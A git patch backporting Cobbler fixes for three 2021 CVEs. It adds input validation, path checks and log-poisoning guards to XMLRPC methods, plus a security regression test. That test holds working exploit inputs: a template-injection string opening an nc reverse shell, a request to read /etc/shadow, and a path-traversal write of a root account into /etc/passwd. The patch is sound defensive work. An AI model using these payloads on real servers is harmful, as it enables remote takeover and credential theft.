From 875a1800d7474154377599dc04b6a4dcd7faac45 Mon Sep 17 00:00:00 2001 From: orange-snn Date: Thu, 28 Oct 2021 16:45:46 +0800 Subject: [PATCH] fix CVE-2021-40323 and CVE-2021-40324 and CVE-2021-40325 --- ...t-CVE-2021-40323-and-40324-and-40325.patch | 912 ++++++++++++++++++ cobbler.spec | 6 +- 2 files changed, 917 insertions(+), 1 deletion(-) create mode 100644 backport-CVE-2021-40323-and-40324-and-40325.patch diff --git a/backport-CVE-2021-40323-and-40324-and-40325.patch b/backport-CVE-2021-40323-and-40324-and-40325.patch new file mode 100644 index 0000000..4f643b7 --- /dev/null +++ b/backport-CVE-2021-40323-and-40324-and-40325.patch @@ -0,0 +1,912 @@ +From ca06cae96626faac8c0c592a33c6d134a896bfb6 Mon Sep 17 00:00:00 2001 +From: SchoolGuy +Date: Thu, 19 Aug 2021 11:20:29 +0200 +Subject: [PATCH 1/7] Safeguard XMLRPC against rce + +- The XMLRPC methods generate_script & upload_log_file are not secured + against injection which lead to remote code execution +- Add types to clarify what we expect in the XMLRPC-API +--- + cobbler/api.py | 9 ++-- + cobbler/remote.py | 106 +++++++++++++++++++++++++++++--------------- + cobbler/tftpgen.py | 27 ++++++----- + cobbler/validate.py | 16 +++++++ + 4 files changed, 109 insertions(+), 49 deletions(-) + +diff --git a/cobbler/api.py b/cobbler/api.py +index 84c844de8..62d0882ea 100644 +--- a/cobbler/api.py ++++ b/cobbler/api.py +@@ -1317,13 +1317,14 @@ def generate_bootcfg(self, profile: str, system: str) -> str: + + # ========================================================================== + +- def generate_script(self, profile: str, system: str, name: str) -> str: ++ def generate_script(self, profile: Optional[str], system: Optional[str], name: str): + """ + Generate an autoinstall script for the specified profile or system. The system wins over the profile. + +- :param profile: The profile to generate the script for. +- :param system: The system to generate the script for. +- :param name: The name of the script which should be generated. ++ :param profile: The profile name to generate the script for. ++ :param system: The system name to generate the script for. ++ :param name: The name of the script which should be generated. Must only contain alphanumeric characters, dots ++ and underscores. + :return: The generated script or an error message. + """ + self.log("generate_script") +diff --git a/cobbler/remote.py b/cobbler/remote.py +index 562093a6d..65df6ad72 100644 +--- a/cobbler/remote.py ++++ b/cobbler/remote.py +@@ -26,15 +26,22 @@ + import random + import stat + import time ++import re + import xmlrpc.server ++from typing import Dict, Optional, Union ++from xmlrpc.server import SimpleXMLRPCRequestHandler + from socketserver import ThreadingMixIn + from threading import Thread + from typing import Dict, List, Optional, Tuple, Union + from xmlrpc.server import SimpleXMLRPCRequestHandler + +-from cobbler import autoinstall_manager, configgen, tftpgen, utils ++from cobbler import autoinstall_manager ++from cobbler import configgen ++from cobbler.items import item, package, system, image, profile, repo, mgmtclass, distro, file, menu ++from cobbler import tftpgen ++from cobbler import utils + from cobbler.cexceptions import CX +-from cobbler.items import distro, file, image, menu, mgmtclass, package, profile, repo, system ++from cobbler.validate import validate_autoinstall_script_name + + EVENT_TIMEOUT = 7 * 24 * 60 * 60 # 1 week + CACHE_TIMEOUT = 10 * 60 # 10 minutes +@@ -122,8 +129,8 @@ def __init__(self, api): + :param api: The api to use for resolving the required information. + """ + self.api = api +- self.logger = self.api.logger +- self.token_cache: Dict[str, Tuple] = {} ++ self.logger = logging.getLogger() ++ self.token_cache: Dict[str, tuple] = {} + self.object_cache = {} + self.timestamp = self.api.last_modified_time() + self.events = {} +@@ -551,7 +558,8 @@ def get_user_from_token(self, token: str): + else: + return self.token_cache[token][1] + +- def _log(self, msg, user=None, token=None, name=None, object_id=None, attribute=None, debug: bool = False, ++ def _log(self, msg: str, user: Optional[str] = None, token: Optional[str] = None, name: Optional[str] = None, ++ object_id: Optional[str] = None, attribute: Optional[str] = None, debug: bool = False, + error: bool = False): + """ + Helper function to write data to the log file from the XMLRPC remote implementation. +@@ -1880,7 +1888,7 @@ def auto_add_repos(self, token: str): + self.api.auto_add_repos() + return True + +- def __is_interface_field(self, field_name) -> bool: ++ def __is_interface_field(self, field_name: str) -> bool: + """ + Checks if the field in ``f`` is related to a network interface. + +@@ -2276,17 +2284,20 @@ def generate_bootcfg(self, profile: str = None, system: str = None, **rest) -> s + self._log("generate_bootcfg") + return self.api.generate_bootcfg(profile, system) + +- def generate_script(self, profile: str = None, system: str = None, name: str = None, **rest) -> str: ++ def generate_script(self, profile: Optional[str] = None, system: Optional[str] = None, name: str = "") -> str: + """ +- Not known what this does exactly. ++ This generates the autoinstall script for a system or profile. Profile and System cannot be both given, if they ++ are, Profile wins. + +- :param profile: Not known for what the profile is needed. +- :param system: Not known for what the system is needed. +- :param name: Name of the generated script. +- :param rest: This is dropped in this method since it is not needed here. ++ :param profile: The profile name to generate the script for. ++ :param system: The system name to generate the script for. ++ :param name: Name of the generated script. Must only contain alphanumeric characters, dots and underscores. + :return: Some generated script. + """ +- self._log("generate_script, name is %s" % str(name)) ++ # This is duplicated from tftpgen.py to prevent log poisoning via a template engine (Cheetah, Jinja2). ++ if not validate_autoinstall_script_name(name): ++ raise ValueError("\"name\" handed to generate_script was not valid!") ++ self._log("generate_script, name is \"%s\"" % name) + return self.api.generate_script(profile, system, name) + + def get_blended_data(self, profile=None, system=None): +@@ -2627,7 +2638,8 @@ def disable_netboot(self, name, token=None, **rest) -> bool: + self.api.sync_dhcp() + return True + +- def upload_log_data(self, sys_name, file, size, offset, data, token=None, **rest): ++ def upload_log_data(self, sys_name: str, file: str, size: int, offset: int, data: bytes, ++ token: Optional[str] = None) -> bool: + """ + This is a logger function used by the "anamon" logging system to upload all sorts of misc data from Anaconda. + As it's a bit of a potential log-flooder, it's off by default and needs to be enabled in our settings. +@@ -2638,9 +2650,10 @@ def upload_log_data(self, sys_name, file, size, offset, data, token=None, **rest + :param offset: The offset in the file where the data will be written to. + :param data: The data that should be logged. + :param token: The API-token obtained via the login() method. +- :param rest: This is dropped in this method since it is not needed here. + :return: True if everything succeeded. + """ ++ if not self.__validate_log_data_params(sys_name, file, size, offset, data, token): ++ return False + self._log("upload_log_data (file: '%s', size: %s, offset: %s)" % (file, size, offset), token=token, + name=sys_name) + +@@ -2650,49 +2663,71 @@ def upload_log_data(self, sys_name, file, size, offset, data, token=None, **rest + return False + + # Find matching system record +- systems = self.api.systems() +- obj = systems.find(name=sys_name) ++ ++ obj = self.api.find_system(name=sys_name) + if obj is None: + # system not found! + self._log("upload_log_data - WARNING - system '%s' not found in Cobbler" % sys_name, token=token, + name=sys_name) ++ return False + +- return self.__upload_file(sys_name, file, size, offset, data) ++ return self.__upload_file(obj.name, file, size, offset, data) + +- def __upload_file(self, sys_name, file, size, offset, data): ++ def __validate_log_data_params(self, sys_name: str, logfile_name: str, size: int, offset: int, data: bytes, ++ token: Optional[str] = None) -> bool: ++ # Validate all types ++ if not (isinstance(sys_name, str) and isinstance(logfile_name, str) and isinstance(size, int) ++ and isinstance(offset, int) and isinstance(data, bytes)): ++ self.logger.warning("upload_log_data - One of the parameters handed over had an invalid type!") ++ return False ++ if token is not None and not isinstance(token, str): ++ self.logger.warning("upload_log_data - token was given but had an invalid type.") ++ return False ++ # Validate sys_name with item regex ++ if not re.match(item.RE_OBJECT_NAME, sys_name): ++ self.logger.warning("upload_log_data - The provided sys_name contained invalid characters!") ++ return False ++ # Validate logfile_name - this uses the script name validation, possibly we need our own for this one later ++ if not validate_autoinstall_script_name(logfile_name): ++ self.logger.warning("upload_log_data - The provided file contained invalid characters!") ++ return False ++ return True ++ ++ def __upload_file(self, sys_name: str, logfile_name: str, size: int, offset: int, data: bytes) -> bool: + """ + Files can be uploaded in chunks, if so the size describes the chunk rather than the whole file. The offset + indicates where the chunk belongs the special offset -1 is used to indicate the final chunk. + + :param sys_name: the name of the system +- :param file: the name of the file ++ :param logfile_name: the name of the file + :param size: size of contents (bytes) + :param offset: the offset of the chunk + :param data: base64 encoded file contents + :return: True if the action succeeded. + """ +- contents = base64.decodestring(data) ++ contents = base64.decodebytes(data) + del data + if offset != -1: + if size is not None: + if size != len(contents): + return False + +- # XXX - have an incoming dir and move after upload complete +- # SECURITY - ensure path remains under uploadpath +- tt = str.maketrans("/", "+") +- fn = str.translate(file, tt) +- if fn.startswith('..'): +- raise CX("invalid filename used: %s" % fn) ++ # FIXME: Get the base directory from Cobbler app-settings ++ anamon_base_directory = "/var/log/cobbler/anamon" ++ anamon_sys_directory = os.path.join(anamon_base_directory, sys_name) ++ ++ file_name = os.path.join(anamon_sys_directory, logfile_name) ++ normalized_path = os.path.normpath(file_name) ++ if not normalized_path.startswith(anamon_sys_directory): ++ self.logger.warning("upload_log_data: built path for the logfile was outside of the Cobbler-Anamon log " ++ "directory!") ++ return False + +- # FIXME ... get the base dir from cobbler settings() +- udir = "/var/log/cobbler/anamon/%s" % sys_name +- if not os.path.isdir(udir): +- os.mkdir(udir, 0o755) ++ if not os.path.isdir(anamon_sys_directory): ++ os.mkdir(anamon_sys_directory, 0o755) + +- fn = "%s/%s" % (udir, fn) + try: +- st = os.lstat(fn) ++ st = os.lstat(file_name) + except OSError as e: + if e.errno == errno.ENOENT: + pass +@@ -2700,9 +2735,10 @@ def __upload_file(self, sys_name, file, size, offset, data): + raise + else: + if not stat.S_ISREG(st.st_mode): +- raise CX("destination not a file: %s" % fn) ++ raise CX("destination not a file: %s" % file_name) + +- fd = os.open(fn, os.O_RDWR | os.O_CREAT, 0o644) ++ # TODO: See if we can simplify this at a later point ++ fd = os.open(file_name, os.O_RDWR | os.O_CREAT, 0o644) + # log_error("fd=%r" %fd) + try: + if offset == 0 or (offset == -1 and size == len(contents)): +diff --git a/cobbler/tftpgen.py b/cobbler/tftpgen.py +index 15db22e23..f8a9206de 100644 +--- a/cobbler/tftpgen.py ++++ b/cobbler/tftpgen.py +@@ -25,12 +25,12 @@ + import os.path + import re + import socket +-from typing import Dict, Optional, List ++from typing import Dict, List, Optional + +-from cobbler import enums, templar +-from cobbler import utils ++from cobbler import enums, templar, utils + from cobbler.cexceptions import CX + from cobbler.enums import Archs ++from cobbler.validate import validate_autoinstall_script_name + + + class TFTPGen: +@@ -1196,11 +1196,16 @@ def generate_script(self, what: str, objname: str, script_name: str) -> str: + """ + if what == "profile": + obj = self.api.find_profile(name=objname) +- else: ++ elif what == "system": + obj = self.api.find_system(name=objname) ++ else: ++ raise ValueError("\"what\" needs to be either \"profile\" or \"system\"!") ++ ++ if not validate_autoinstall_script_name(script_name): ++ raise ValueError("\"script_name\" handed to generate_script was not valid!") + + if not obj: +- return "# %s named %s not found" % (what, objname) ++ return "# \"%s\" named \"%s\" not found" % (what, objname) + + distro = obj.get_conceptual_parent() + while distro.get_conceptual_parent(): +@@ -1223,13 +1228,15 @@ def generate_script(self, what: str, objname: str, script_name: str) -> str: + else: + blended['img_path'] = os.path.join("/images", distro.name) + +- template = os.path.normpath(os.path.join("/var/lib/cobbler/scripts", script_name)) ++ scripts_root = "/var/lib/cobbler/scripts" ++ template = os.path.normpath(os.path.join(scripts_root, script_name)) ++ if not template.startswith(scripts_root): ++ return "# script template \"%s\" could not be found in the script root" % script_name + if not os.path.exists(template): +- return "# script template %s not found" % script_name ++ return "# script template \"%s\" not found" % script_name + +- template_fh = open(template) +- template_data = template_fh.read() +- template_fh.close() ++ with open(template) as template_fh: ++ template_data = template_fh.read() + + return self.templar.render(template_data, blended, None) + +diff --git a/cobbler/validate.py b/cobbler/validate.py +index a72a17537..976d9084d 100644 +--- a/cobbler/validate.py ++++ b/cobbler/validate.py +@@ -30,6 +30,7 @@ + RE_HOSTNAME = re.compile(r'^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])(\.([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9]))*$') + RE_URL_GRUB = re.compile(r"^\((?Phttp|tftp),(?P.*)\)/(?P.*)$") + RE_URL = re.compile(r'^[a-zA-Z\d-]{,63}(\.[a-zA-Z\d-]{,63})*$') # https://stackoverflow.com/a/2894918 ++RE_SCRIPT_NAME = re.compile(r"[a-zA-Z0-9_.]+") + + # blacklist invalid values to the repo statement in autoinsts + AUTOINSTALL_REPO_BLACKLIST = ['enabled', 'gpgcheck', 'gpgkey'] +@@ -606,3 +607,18 @@ def validate_grub_remote_file(value: str) -> bool: + success_path = urlparse("https://fake.local/%s" % path).path[1:] == path + success = (success_server_ip or success_server_name) and success_path + return success ++ ++ ++def validate_autoinstall_script_name(name: str) -> bool: ++ """ ++ This validates if the name given for the script is valid in the context of the API call made. It will be handed to ++ tftpgen.py#generate_script in the end. ++ ++ :param name: The name of the script. Will end up being a filename. May have an extension but should never be a path. ++ :return: If this is a valid script name or not. ++ """ ++ if not isinstance(name, str): ++ return False ++ if re.match(RE_SCRIPT_NAME, name): ++ return True ++ return False + +From d8ed0798e16ca00c681b0c0041b2e674e86d09eb Mon Sep 17 00:00:00 2001 +From: SchoolGuy +Date: Tue, 17 Aug 2021 15:26:35 +0200 +Subject: [PATCH 2/7] Tests: Automate the non-successful testing of the + exploits we know of + +--- + cobbler/api.py | 1 + + tests/actions/__init__.py | 0 + tests/conftest.py | 1 + + tests/special_cases/__init__.py | 0 + tests/special_cases/security_test.py | 112 +++++++++++++++++++++++++++ + 5 files changed, 114 insertions(+) + create mode 100644 tests/actions/__init__.py + create mode 100644 tests/special_cases/__init__.py + create mode 100644 tests/special_cases/security_test.py + +diff --git a/cobbler/api.py b/cobbler/api.py +index 62d0882ea..df64a69cf 100644 +--- a/cobbler/api.py ++++ b/cobbler/api.py +@@ -178,6 +178,7 @@ def last_modified_time(self) -> float: + + :returns: 0 if there is no file where the information required for this method is saved. + """ ++ # FIXME: This fails in case the file required is not available + if not os.path.exists("/var/lib/cobbler/.mtime"): + fd = open("/var/lib/cobbler/.mtime", 'w') + fd.write("0") +diff --git a/tests/actions/__init__.py b/tests/actions/__init__.py +new file mode 100644 +index 000000000..e69de29bb +diff --git a/tests/conftest.py b/tests/conftest.py +index 0f5f46ad9..13bb54ca1 100644 +--- a/tests/conftest.py ++++ b/tests/conftest.py +@@ -54,6 +54,7 @@ def cleanup_leftover_items(): + os.remove(json_file) + logger.info("Removed file: " + json_file) + ++ + @pytest.fixture(scope="function") + def fk_initrd(): + """ +diff --git a/tests/special_cases/__init__.py b/tests/special_cases/__init__.py +new file mode 100644 +index 000000000..e69de29bb +diff --git a/tests/special_cases/security_test.py b/tests/special_cases/security_test.py +new file mode 100644 +index 000000000..cbc4bfa2e +--- /dev/null ++++ b/tests/special_cases/security_test.py +@@ -0,0 +1,112 @@ ++""" ++This test module tries to automatically replicate all security incidents we had in the past and checks if they fail. ++""" ++# SPDX-License-Identifier: GPL-2.0-or-later ++import base64 ++import os ++import xmlrpc.client ++ ++import pytest ++ ++from cobbler.utils import get_shared_secret ++ ++ ++# ==================== Start tnpconsultants ==================== ++ ++# SPDX-FileCopyrightText: 2021 Nicolas Chatelain ++ ++ ++@pytest.fixture ++def try_connect(): ++ def try_connect(url) -> xmlrpc.client.ServerProxy: ++ xmlrpc_server = xmlrpc.client.ServerProxy(url) ++ return xmlrpc_server ++ return try_connect ++ ++ ++@pytest.fixture(autouse=True) ++def setup_profile(try_connect, create_kernel_initrd, fk_kernel, fk_initrd): ++ cobbler_api = try_connect("http://localhost/cobbler_api") ++ shared_secret = get_shared_secret() ++ token = cobbler_api.login("", shared_secret) ++ folder = create_kernel_initrd(fk_kernel, fk_initrd) ++ kernel_path = os.path.join(folder, fk_kernel) ++ initrd_path = os.path.join(folder, fk_kernel) ++ # Create a test Distro ++ distro = cobbler_api.new_distro(token) ++ cobbler_api.modify_distro(distro, "name", "security_test_distro", token) ++ cobbler_api.modify_distro(distro, "arch", "x86_64", token) ++ cobbler_api.modify_distro(distro, "kernel", str(kernel_path), token) ++ cobbler_api.modify_distro(distro, "initrd", str(initrd_path), token) ++ cobbler_api.save_distro(distro, token) ++ # Create a test Profile ++ profile = cobbler_api.new_profile(token) ++ cobbler_api.modify_profile(profile, "name", "security_test_profile", token) ++ cobbler_api.modify_profile(profile, "distro", "security_test_distro", token) ++ cobbler_api.save_profile(profile, token) ++ ++ yield ++ ++ cobbler_api.remove_profile("security_test_profile", token) ++ cobbler_api.remove_distro("security_test_distro", token) ++ ++ ++def test_arbitrary_file_disclosure_1(setup_profile, try_connect): ++ # Arrange ++ cobbler_api = try_connect("http://localhost/cobbler_api") ++ ++ # Act ++ profiles = cobbler_api.get_profiles() ++ target = profiles[0]["name"] ++ try: ++ result = cobbler_api.generate_script(target, "", "/etc/shadow") ++ ++ # Assert this NOT succeeds ++ assert not result.startswith("root") ++ except xmlrpc.client.Fault as e: ++ # We have no way of exactly knowing what is in there but if its a ValueError we most likely caught the exploit ++ # before something happened. ++ assert "ValueError" in e.faultString ++ ++ ++def test_template_injection_1(setup_profile, try_connect): ++ # Arrange ++ exploitcode = '__import__(\'os\').system(\'nc [tnpitsecurity] 4242 -e /bin/sh\')' ++ cobbler_api = try_connect("http://localhost/cobbler_api") ++ ++ # Act ++ profiles = cobbler_api.get_profiles() ++ target = profiles[0]["name"] ++ try: ++ print("[+] Stage 1 : Poisoning log with Cheetah template RCE") ++ result_stage_1 = cobbler_api.generate_script(target, "", '{<%= ' + exploitcode + ' %>}') ++ print("[+] Stage 2 : Rendering template using an arbitrary file read.") ++ result_stage_2 = cobbler_api.generate_script(target, "", "/var/log/cobbler/cobbler.log") ++ ++ # Assert this NOT succeeds ++ assert not result_stage_1.startswith("__import__") ++ # We should never get to stage two ++ except xmlrpc.client.Fault as e: ++ # We have no way of exactly knowing what is in there but if its a ValueError we most likely caught the exploit ++ # before something happened. ++ assert "ValueError" in e.faultString ++ ++ ++def test_arbitrary_file_write_1(setup_profile, try_connect): ++ # Arrange ++ cobbler_api = try_connect("http://localhost/cobbler_api") ++ exploit = b"cha:!:0:0:cha:/:/bin/bash\n" ++ ++ # Act ++ result = cobbler_api.upload_log_data( ++ "../../../../../../etc", ++ "passwd", ++ len(exploit), ++ 100000, ++ base64.b64encode(exploit) ++ ) ++ ++ # Assert this NOT succeeds ++ assert result is False ++ ++# ==================== END tnpconsultants ==================== + +From 9ddc297a68bcd817fc6410805dd9dfc262b11fcb Mon Sep 17 00:00:00 2001 +From: SchoolGuy +Date: Wed, 18 Aug 2021 15:43:47 +0200 +Subject: [PATCH 3/7] Prevent general log poising + +This is achieved via additional parameter validation in _log() + +Additionally allow dashes in filenames since the anamon process uses +them regularly. +--- + cobbler/remote.py | 44 +++++++++++++++++++++++++-------- + cobbler/validate.py | 59 +++++++++++++++++++++++++++++++++++++++++++-- + 2 files changed, 91 insertions(+), 12 deletions(-) + +diff --git a/cobbler/remote.py b/cobbler/remote.py +index 65df6ad72..f0c61c64f 100644 +--- a/cobbler/remote.py ++++ b/cobbler/remote.py +@@ -21,6 +21,7 @@ + import base64 + import errno + import fcntl ++import keyword + import logging + import os + import random +@@ -41,7 +42,7 @@ + from cobbler import tftpgen + from cobbler import utils + from cobbler.cexceptions import CX +-from cobbler.validate import validate_autoinstall_script_name ++from cobbler.validate import validate_autoinstall_script_name, validate_obj_id, validate_obj_name + + EVENT_TIMEOUT = 7 * 24 * 60 * 60 # 1 week + CACHE_TIMEOUT = 10 * 60 # 10 minutes +@@ -552,21 +553,22 @@ def get_user_from_token(self, token: str): + :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. + :return: The username if the token was valid. + :raises CX: If the token supplied to the function is invalid. ++ :raises ValueError: In case "token" did not fulfil the requirements to be a token. + """ ++ if not CobblerXMLRPCInterface.__is_token(token): ++ raise ValueError("\"token\" did not have the correct format or type!") + if token not in self.token_cache: + raise CX("invalid token: %s" % token) + else: + return self.token_cache[token][1] + +- def _log(self, msg: str, user: Optional[str] = None, token: Optional[str] = None, name: Optional[str] = None, +- object_id: Optional[str] = None, attribute: Optional[str] = None, debug: bool = False, +- error: bool = False): ++ def _log(self, msg: str, token: Optional[str] = None, name: Optional[str] = None, object_id: Optional[str] = None, ++ attribute: Optional[str] = None, debug: bool = False, error: bool = False): + """ + Helper function to write data to the log file from the XMLRPC remote implementation. + Takes various optional parameters that should be supplied when known. + + :param msg: The message to log. +- :param user: When a user is associated with the action it should be supplied. + :param token: The API-token obtained via the login() method. The API-token obtained via the login() method. + :param name: The name of the object should be supplied when it is known. + :param object_id: The object id should be supplied when it is known. +@@ -574,10 +576,10 @@ def _log(self, msg: str, user: Optional[str] = None, token: Optional[str] = None + :param debug: If the message logged is a debug message. + :param error: If the message logged is an error message. + """ ++ if not (isinstance(error, bool) or isinstance(debug, bool) or isinstance(msg, str)): ++ return + # add the user editing the object, if supplied + m_user = "?" +- if user is not None: +- m_user = user + if token is not None: + try: + m_user = self.get_user_from_token(token) +@@ -587,13 +589,21 @@ def _log(self, msg: str, user: Optional[str] = None, token: Optional[str] = None + msg = "REMOTE %s; user(%s)" % (msg, m_user) + + if name is not None: ++ if not isinstance(name, str): ++ return ++ if not validate_obj_name(name): ++ return + msg = "%s; name(%s)" % (msg, name) + + if object_id is not None: ++ if not validate_obj_id(object_id): ++ return + msg = "%s; object_id(%s)" % (msg, object_id) + + # add any attributes being modified, if any + if attribute: ++ if not (isinstance(attribute, str) and attribute.isidentifier()) or keyword.iskeyword(attribute): ++ return + msg = "%s; attribute(%s)" % (msg, attribute) + + # log to the correct logger +@@ -2646,7 +2656,7 @@ def upload_log_data(self, sys_name: str, file: str, size: int, offset: int, data + + :param sys_name: The name of the system for which to upload log data. + :param file: The file where the log data should be put. +- :param size: The size of the data which will be recieved. ++ :param size: The size of the data which will be received. + :param offset: The offset in the file where the data will be written to. + :param data: The data that should be logged. + :param token: The API-token obtained via the login() method. +@@ -2684,7 +2694,7 @@ def __validate_log_data_params(self, sys_name: str, logfile_name: str, size: int + self.logger.warning("upload_log_data - token was given but had an invalid type.") + return False + # Validate sys_name with item regex +- if not re.match(item.RE_OBJECT_NAME, sys_name): ++ if not re.fullmatch(item.RE_OBJECT_NAME, sys_name): + self.logger.warning("upload_log_data - The provided sys_name contained invalid characters!") + return False + # Validate logfile_name - this uses the script name validation, possibly we need our own for this one later +@@ -2738,7 +2748,7 @@ def __upload_file(self, sys_name: str, logfile_name: str, size: int, offset: int + raise CX("destination not a file: %s" % file_name) + + # TODO: See if we can simplify this at a later point +- fd = os.open(file_name, os.O_RDWR | os.O_CREAT, 0o644) ++ fd = os.open(file_name, os.O_RDWR | os.O_CREAT | os.O_CLOEXEC, 0o644) + # log_error("fd=%r" %fd) + try: + if offset == 0 or (offset == -1 and size == len(contents)): +@@ -3199,6 +3209,20 @@ def __make_token(self, user: str) -> str: + self.token_cache[b64] = (time.time(), user) + return b64 + ++ @staticmethod ++ def __is_token(token: str) -> bool: ++ """ ++ Simple check to validate if it is a token. ++ ++ __make_token() uses 25 as the length of bytes that means we need to padding bytes to have a 34 character str. ++ Because base64 specifies that the number of padding bytes are shown via equal characters, we have a 46 character ++ long str in the end in every case. ++ ++ :param token: The str which should be checked. ++ :return: True in case the validation succeeds, otherwise False. ++ """ ++ return isinstance(token, str) and len(token) == 36 ++ + def __invalidate_expired_tokens(self): + """ + Deletes any login tokens that might have expired. Also removes expired events. +diff --git a/cobbler/validate.py b/cobbler/validate.py +index 976d9084d..af5c86fc9 100644 +--- a/cobbler/validate.py ++++ b/cobbler/validate.py +@@ -22,15 +22,17 @@ + from urllib.parse import urlparse + from ipaddress import AddressValueError, NetmaskValueError + from typing import Union ++from uuid import UUID + + import netaddr + + from cobbler import enums, utils ++from cobbler.items import item + + RE_HOSTNAME = re.compile(r'^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])(\.([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9]))*$') + RE_URL_GRUB = re.compile(r"^\((?Phttp|tftp),(?P.*)\)/(?P.*)$") + RE_URL = re.compile(r'^[a-zA-Z\d-]{,63}(\.[a-zA-Z\d-]{,63})*$') # https://stackoverflow.com/a/2894918 +-RE_SCRIPT_NAME = re.compile(r"[a-zA-Z0-9_.]+") ++RE_SCRIPT_NAME = re.compile(r"[a-zA-Z0-9_\-.]+") + + # blacklist invalid values to the repo statement in autoinsts + AUTOINSTALL_REPO_BLACKLIST = ['enabled', 'gpgcheck', 'gpgkey'] +@@ -619,6 +621,59 @@ def validate_autoinstall_script_name(name: str) -> bool: + """ + if not isinstance(name, str): + return False +- if re.match(RE_SCRIPT_NAME, name): ++ if re.fullmatch(RE_SCRIPT_NAME, name): + return True + return False ++ ++ ++def validate_uuid(possible_uuid: str) -> bool: ++ """ ++ Validate if the handed string is a valid UUIDv4. ++ ++ :param possible_uuid: The str with the UUID. ++ :return: True in case it is one, False otherwise. ++ """ ++ if not isinstance(possible_uuid, str): ++ return False ++ # Taken from: https://stackoverflow.com/a/33245493/4730773 ++ try: ++ uuid_obj = UUID(possible_uuid, version=4) ++ except ValueError: ++ return False ++ return str(uuid_obj) == possible_uuid ++ ++ ++def validate_obj_type(object_type: str) -> bool: ++ """ ++ ++ :param object_type: ++ :return: ++ """ ++ if not isinstance(object_type, str): ++ return False ++ return object_type in ["distro", "profile", "system", "repo", "image", "mgmtclass", "package", "file", "menu"] ++ ++ ++def validate_obj_name(object_name: str) -> bool: ++ """ ++ ++ :param object_name: ++ :return: ++ """ ++ if not isinstance(object_name, str): ++ return False ++ return bool(re.match(item.RE_OBJECT_NAME, object_name)) ++ ++ ++def validate_obj_id(object_id: str) -> bool: ++ """ ++ ++ :param object_id: ++ :return: True in case it is one, False otherwise. ++ """ ++ if not isinstance(object_id, str): ++ return False ++ if object_id.startswith("___NEW___"): ++ object_id = object_id[9:] ++ (otype, oname) = object_id.split("::", 1) ++ return validate_obj_type(otype) and validate_obj_name(oname) + +From a7deeef20ca96995f0e3765df1ecf00365037959 Mon Sep 17 00:00:00 2001 +From: SchoolGuy +Date: Fri, 20 Aug 2021 13:56:01 +0200 +Subject: [PATCH 4/7] Security: Flag gate for modify_setting in XMLRPC + +--- + cobbler/remote.py | 4 ++++ + tests/xmlrpcapi/miscellaneous_test.py | 2 +- + 2 files changed, 5 insertions(+), 1 deletion(-) + +diff --git a/cobbler/remote.py b/cobbler/remote.py +index f0c61c64f..580873569 100644 +--- a/cobbler/remote.py ++++ b/cobbler/remote.py +@@ -1860,6 +1860,10 @@ def modify_setting(self, setting_name: str, value, token: str) -> int: + :param token: The API-token obtained via the login() method. + :return: 0 on success, 1 on error. + """ ++ if not self.api.settings().allow_dynamic_settings: ++ self._log("modify_setting - feature turned off but was tried to be accessed", token=token) ++ return 1 ++ self._log("modify_setting(%s)" % setting_name, token=token) + if not hasattr(self.api.settings(), setting_name): + self.logger.warning("Setting did not exist!") + return 1 +diff --git a/tests/xmlrpcapi/miscellaneous_test.py b/tests/xmlrpcapi/miscellaneous_test.py +index 777704592..ad29de713 100644 +--- a/tests/xmlrpcapi/miscellaneous_test.py ++++ b/tests/xmlrpcapi/miscellaneous_test.py +@@ -424,7 +424,7 @@ def test_modify_setting(self, remote, token): + result = remote.modify_setting("auth_token_expiration", 7200, token) + + # Assert +- assert result == 0 ++ assert result == 1 + + def test_read_autoinstall_template(self, remote, token, create_autoinstall_template, remove_autoinstall_template): + # Arrange + +From 0dd11839d55cfe820f70abedc71adfd2e7937383 Mon Sep 17 00:00:00 2001 +From: SchoolGuy +Date: Fri, 27 Aug 2021 16:23:57 +0200 +Subject: [PATCH 5/7] Tests: Add test for the upload_log_data method + +--- + cobbler/remote.py | 4 +--- + tests/xmlrpcapi/miscellaneous_test.py | 13 +++++++++++++ + 2 files changed, 14 insertions(+), 3 deletions(-) + +diff --git a/cobbler/remote.py b/cobbler/remote.py +index 580873569..2346eb0fd 100644 +--- a/cobbler/remote.py ++++ b/cobbler/remote.py +@@ -29,11 +29,9 @@ + import time + import re + import xmlrpc.server +-from typing import Dict, Optional, Union +-from xmlrpc.server import SimpleXMLRPCRequestHandler + from socketserver import ThreadingMixIn + from threading import Thread +-from typing import Dict, List, Optional, Tuple, Union ++from typing import Dict, List, Optional, Union + from xmlrpc.server import SimpleXMLRPCRequestHandler + + from cobbler import autoinstall_manager +diff --git a/tests/xmlrpcapi/miscellaneous_test.py b/tests/xmlrpcapi/miscellaneous_test.py +index ad29de713..1dabb3c28 100644 +--- a/tests/xmlrpcapi/miscellaneous_test.py ++++ b/tests/xmlrpcapi/miscellaneous_test.py +@@ -562,3 +562,16 @@ def test_render_vars(self, remote, token): + + # Assert --> Let the test pass if the call is okay. + assert True ++ ++ @pytest.mark.skip("Functionality is broken!") ++ @pytest.mark.usefixtures("create_testdistro", "create_testmenu", "create_testprofile", "create_testsystem", ++ "remove_testdistro", "remove_testmenu", "remove_testprofile", "remove_testsystem") ++ def test_upload_log_data(self, remote): ++ # Arrange ++ ++ # Act ++ result = remote.upload_log_data("testsystem0", "testinstall.log", 0, 0, b"asdas") ++ ++ # Assert ++ assert isinstance(result, bool) ++ assert result + +From 305678538610020a7a06707afaada2b6a09d7e63 Mon Sep 17 00:00:00 2001 +From: SchoolGuy +Date: Mon, 13 Sep 2021 15:12:59 +0200 +Subject: [PATCH 6/7] Remove not existent check for disabled spacewalk + registration + +--- + autoinstall_snippets/redhat_register | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/autoinstall_snippets/redhat_register b/autoinstall_snippets/redhat_register +index a6915febd..a2b4dd13d 100644 +--- a/autoinstall_snippets/redhat_register ++++ b/autoinstall_snippets/redhat_register +@@ -1,5 +1,5 @@ + # begin Red Hat management server registration +-#if $redhat_management_type != "off" and $redhat_management_key != "" ++#if $redhat_management_key != "" + mkdir -p /usr/share/rhn/ + #if $redhat_management_type == "site" + #set $mycert_file = "RHN-ORG-TRUSTED-SSL-CERT" + +From 